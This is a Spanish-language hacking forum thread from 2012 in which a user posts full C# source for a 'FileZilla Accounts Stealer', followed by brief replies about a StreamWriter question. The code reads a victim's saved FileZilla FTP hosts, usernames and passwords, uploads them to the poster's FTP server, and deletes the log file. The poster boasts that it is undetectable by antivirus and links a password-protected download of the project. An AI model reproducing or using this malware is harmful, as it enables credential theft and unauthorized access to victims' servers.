elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  [SourceCode]FileZilla Accounts Stealer
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SourceCode]FileZilla Accounts Stealer  (Leído 2,760 veces)
CorruptedByte

Desconectado Desconectado

Mensajes: 41



Ver Perfil
[SourceCode]FileZilla Accounts Stealer
« en: 17 Febrero 2012, 19:26 pm »

Hola, aqui les dejo un code que programe hace unos dias, su funcionamiento es basico al ejecutarlo guarda todas las cuentas FTP de filezilla en un documento de texto con el nombre de la maquina victima para diferenciarlos y los manda a tu servidor FTP seguido de eso elimina el fichero y aqui no paso nada XD. Es un codigo muy pequeño y sencillo pero 100% funcional e indetectable a cualquier antivirus o por lo menos hasta donde lo testee.

El codigo esta dividido en 3 clases para que le puedan dar uso por separado como ustedes guste.


Clase principal para la llamada de los metodos de las otras clases:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.NetworkInformation;
using System.IO;
using System.Xml;
using System.Threading;

namespace FileZillaStealer
{
    class Stealer
    {
        static void Main(string[] args)
        {
            string sLogs = IPGlobalProperties.GetIPGlobalProperties().HostName +"Logs.txt";
            AccountStealer StealAccounts = new AccountStealer();
            FTP SendAccounts = new FTP();
            StealAccounts.FileZillaAccounts(sLogs);
            SendAccounts.Send("ftp.server.com", "/public_html/", "user", "pass", sLogs);
            System.IO.File.Delete(sLogs);
        }
    }
}

Clase con el metodo sendo para enviar el fichero de texto con las cuentas guardadas:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace FileZillaStealer
{
    class FTP
    {
        public void Send(string sHost, string sDir, string sUser, string sPass, string sFile)
        {
            string ftpHostDirFile = "ftp://" + sHost +sDir +sFile;
            FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpHostDirFile);
            ftp.Credentials = new NetworkCredential(sUser, sPass);
            ftp.KeepAlive = true;
            ftp.UseBinary = true;
            ftp.Method = WebRequestMethods.Ftp.UploadFile;
            FileStream fs = File.OpenRead(sFile);
            byte[] buffer = new byte[fs.Length];
            fs.Read(buffer, 0, buffer.Length);
            fs.Close();
            Stream ftpstream = ftp.GetRequestStream();
            ftpstream.Write(buffer, 0, buffer.Length);
            ftpstream.Close();
        }
    }
}

Clase para el guarado de las cuentas de filezilla en un documento de texto:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Xml;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;

namespace FileZillaStealer
{
    class AccountStealer
    {
        public void FileZillaAccounts(string sLogsPath)
        {
            XmlDocument xmlAccountsFile = new XmlDocument();
            string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
            xmlAccountsFile.Load(sFilePath);
            XmlNodeList xmlRecentServers = xmlAccountsFile.GetElementsByTagName("RecentServers");
            XmlNodeList xmlList = ((XmlElement)xmlRecentServers[0]).GetElementsByTagName("Server");
            string sAccount;
            foreach (XmlElement nodo in xmlList)
            {
                XmlNodeList xmlHost = nodo.GetElementsByTagName("Host");
                XmlNodeList xmlPort = nodo.GetElementsByTagName("Port");
                XmlNodeList xmlUser = nodo.GetElementsByTagName("User");
                XmlNodeList xmlPass = nodo.GetElementsByTagName("Pass");
                sAccount = string.Format("Host: {0} Port: {1} User: {2} Pass: {3}", xmlHost[0].InnerText, xmlPort[0].InnerText, xmlUser[0].InnerText, xmlPass[0].InnerText);
                FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();
            }
        }
}


Aqui les dejo el proyecto en VS2010:

Descarga:
http://www.mediafire.com/?2u2sns4d3rwdple
Contraseña:
Backroot.org


En línea

GameAndWatch

Desconectado Desconectado

Mensajes: 42


Ver Perfil
Re: [SourceCode]FileZilla Accounts Stealer
« Respuesta #1 en: 17 Febrero 2012, 19:44 pm »

¡Gracias!
Estaba mirando lo de enviar archivos por algún medio y tengo una duda sobre StreamWriter...¿se tiene que declarar antes?


En línea

CorruptedByte

Desconectado Desconectado

Mensajes: 41



Ver Perfil
Re: [SourceCode]FileZilla Accounts Stealer
« Respuesta #2 en: 17 Febrero 2012, 19:47 pm »

¡Gracias!
Estaba mirando lo de enviar archivos por algún medio y tengo una duda sobre StreamWriter...¿se tiene que declarar antes?

antes de que? de enviar?
En línea

GameAndWatch

Desconectado Desconectado

Mensajes: 42


Ver Perfil
Re: [SourceCode]FileZilla Accounts Stealer
« Respuesta #3 en: 17 Febrero 2012, 21:29 pm »

Perdon por no dejarlo claro.Al final del guardado del archivo:

 FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();

A este me refiero.
¿se declara antes de usarlo?¿donde?
En línea

CorruptedByte

Desconectado Desconectado

Mensajes: 41



Ver Perfil
Re: [SourceCode]FileZilla Accounts Stealer
« Respuesta #4 en: 17 Febrero 2012, 22:12 pm »

Perdon por no dejarlo claro.Al final del guardado del archivo:

 FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();

A este me refiero.
¿se declara antes de usarlo?¿donde?

a claro streamwriter esta en using System.IO;
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
My USB Stealer « 1 2 3 »
Scripting
corax 23 16,041 Último mensaje 27 Noviembre 2008, 20:31 pm
por corax
Como Recuperar un password del chat accounts de Ubuntu?
Dudas Generales
extreme69 1 2,498 Último mensaje 12 Junio 2010, 19:52 pm
por extreme69
Nickmania sourcecode
.NET (C#, VB.NET, ASP)
WHK 4 4,360 Último mensaje 21 Noviembre 2010, 01:37 am
por WHK
[SourceCode]MailBomber « 1 2 »
.NET (C#, VB.NET, ASP)
CorruptedByte 11 6,703 Último mensaje 24 Febrero 2012, 15:32 pm
por $Edu$
[SOURCECODE] -> WTF! (WinampToFolder) « 1 2 »
.NET (C#, VB.NET, ASP)
Eleкtro 11 7,146 Último mensaje 11 Julio 2013, 15:49 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines